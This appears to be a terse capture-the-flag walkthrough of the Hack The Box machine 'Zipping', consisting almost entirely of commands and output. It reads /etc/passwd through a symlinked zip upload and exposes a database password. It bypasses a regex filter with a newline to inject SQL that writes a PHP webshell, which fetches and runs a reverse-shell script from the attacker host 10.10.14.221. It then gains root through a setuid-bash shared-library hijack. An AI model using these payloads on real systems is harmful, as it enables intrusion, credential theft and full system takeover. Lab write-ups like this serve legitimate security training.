nmap zipping.htb   
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-10 14:46 CEST  
Nmap scan report for zipping.htb (10.10.11.229)  
Host is up (0.053s latency).  
Not shown: 998 closed tcp ports (conn-refused)  
PORT STATE SERVICE  
22/tcp open ssh  
80/tcp open http  
  
Nmap done: 1 IP address (1 host up) scanned in 2.95 seconds

nmap --script=http-enum zipping.htb  
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-10 14:48 CEST  
Nmap scan report for zipping.htb (10.10.11.229)  
Host is up (0.078s latency).  
Not shown: 998 closed tcp ports (conn-refused)  
PORT STATE SERVICE  
22/tcp open ssh  
80/tcp open http  
| http-enum:   
|_ /shop/: Potentially interesting folder  
  
Nmap done: 1 IP address (1 host up) scanned in 12.13 seconds

ln -s /etc/passwd test.pdf
zip -r --symlinks exploit.zip test.pdf

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:104:110:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin

<?php
function pdo_connect_mysql() {
    // Update the details below with your MySQL details
    $DATABASE_HOST = 'localhost';
    $DATABASE_USER = 'root';
    $DATABASE_PASS = 'MySQL_P@ssw0rd!';
    $DATABASE_NAME = 'zipping';
    try {
    	return new PDO('mysql:host=' . $DATABASE_HOST . ';dbname=' . $DATABASE_NAME . ';charset=utf8', $DATABASE_USER, $DATABASE_PASS);
    }

<?php
// If the user clicked the add to cart button on the product page we can check for the form data
if (isset($_POST['product_id'], $_POST['quantity'])) {
    // Set the post variables so we easily identify them, also make sure they are integer
    $product_id = $_POST['product_id'];
    $quantity = $_POST['quantity'];
    // Filtering user input for letters or special characters
    if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $product_id, $match) ||

echo "bash -c 'bash -i >& /dev/tcp/10.10.14.221/4444 0>&1'" > rev.sh

python3 -m http.server 80

nc -lvp 4444

curl -s $'http://zipping.htb/shop/index.php?page=product&id=%0A\'%3bselect+\'<%3fphp+system(\"curl+http%3a//10.10.14.221/rev.sh|bash\")%3b%3f>\'+into+outfile+\'/var/lib/mysql/revs.php\'+%231'

curl -s $'http://zipping.htb/shop/index.php?page=..%2f..%2f..%2f..%2f..%2fvar%2flib%2fmysql%2frevs'

cat /home/rektsu/user.txt
e********6

strings /usr/bin/stock
...
S******r  
...

rektsu@zipping:/home/rektsu$ nano exp.c  
rektsu@zipping:/home/rektsu$ cat exp.c 
 
#include <stdio.h>  
#include <stdlib.h>  
  
static void inject() __attribute__((constructor));  
  
void inject(){  
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");  
}  
 
rektsu@zipping:/home/rektsu$ gcc -shared -o /home/rektsu/.config/libcounter.so -fPIC exp.c   
rektsu@zipping:/home/rektsu$ sudo /usr/bin/stock  
Enter the password: S******r  
root@zipping:/home/rektsu# whoami  
root